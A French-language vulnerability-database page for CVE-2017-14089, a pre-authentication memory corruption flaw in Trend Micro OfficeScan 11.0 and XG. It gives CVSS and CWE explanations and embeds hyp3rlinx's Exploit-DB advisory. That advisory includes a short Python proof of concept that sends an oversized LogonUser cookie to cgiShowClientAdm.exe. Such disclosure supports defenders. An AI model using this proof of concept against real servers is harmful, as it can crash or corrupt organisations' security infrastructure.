CVE-2017-14089 : Détail

CVE-2017-14089

9.8
/
Critique
Overflow
1.96%V3
Network
2017-10-05
11h00 +00:00
2018-10-09
16h57 +00:00
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Descriptions du CVE

An Unauthorized Memory Corruption vulnerability in Trend Micro OfficeScan 11.0 and XG may allow remote unauthenticated users who can access the OfficeScan server to target cgiShowClientAdm.exe and cause memory corruption issues.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42920

Date de publication : 2017-09-28 22h00 +00:00
Auteur : hyp3rlinx
EDB Vérifié : No

[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14089-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-REMOTE-MEMORY-CORRUPTION.txt [+] ISR: ApparitionSec Vendor: ================== www.trendmicro.com Product: ======== OfficeScan v11.0 and XG (12.0)* OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks. An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent. Vulnerability Type: =================== Unauthorized Remote Memory Corruption CVE Reference: ============== CVE-2017-14089 Security Issue: ================ Remote unauthenticated attackers that can make connection the TrendMicro OfficeScan XG application targeting the "cgiShowClientAdm.exe" process can cause memory corruption issues. References: =========== https://success.trendmicro.com/solution/1118372 Exploit/POC: ============= import urllib,urllib2 from urllib2 import Request print 'TrendMicro OfficeScan XG' print 'Stack Memory Corruption POC' print 'by hyp3rlinx\n' IP="VICTIM-IP:4343" PAYLOAD="A"*256 url = urllib2.Request('https://'+IP+'/officescan/console/html/cgi/cgiShowClientAdm.exe') cookie="Cookie: serror=0; session_expired=no; FeatureEnableState=enableAntiBody@1|enableCCFR@1|enableCfw@1|enableDcs@1|enableSorting@0|enableSpy@1|enableVirus@1|HasAvAddSvc@1|installWSS@1|enableDLP@0|sqldbMode@0|enableIPv6@1|w2ksupport@0|; stamp=2231521137; timestamp=1497360567; DisabledIds=9999.; LogonUser=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; ReadOnlyIds=8.56.; enableRba=1; key=16914202097564; session=666; LANG=en_US; PHPSESSID=WHATEVER123; lastID=34; lastTab=-1; theme=default; wf_CSRF_token=99999999999999999999999999999999; serror=0; retry=0; PHPSESSID=WHATEVERHERE; wf_CSRF_token=666; LANG=en_US; theme=default; lastID=33; lastTab=-1" print '\nsending packetz... \n'+ cookie ##url.add_header("X-CSRFToken", "ee721b62aef83b017e8c86f52e38a411") #<============== X-CSRFToken IS NOT EVEN NEEDED! url.add_header("Content-Type", "application/x-www-form-urlencoded; charset=utf-8") url.add_header("Content-Length", "54") url.add_header("Cookie ",cookie) req=urllib2.urlopen(url) res = urllib2.urlopen(req) print res Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ==================== Vendor Notification: June 5, 2017 Vendor releases fixes / advisory : September 27, 2017 September 28, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Products Mentioned

Configuraton 0

Trendmicro>>Officescan >> Version 11.0

Trendmicro>>Officescan >> Version 12.0

Références

http://seclists.org/fulldisclosure/2017/Sep/91
Tags : mailing-list, x_refsource_FULLDISC
https://www.exploit-db.com/exploits/42920/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1039500
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/101076
Tags : vdb-entry, x_refsource_BID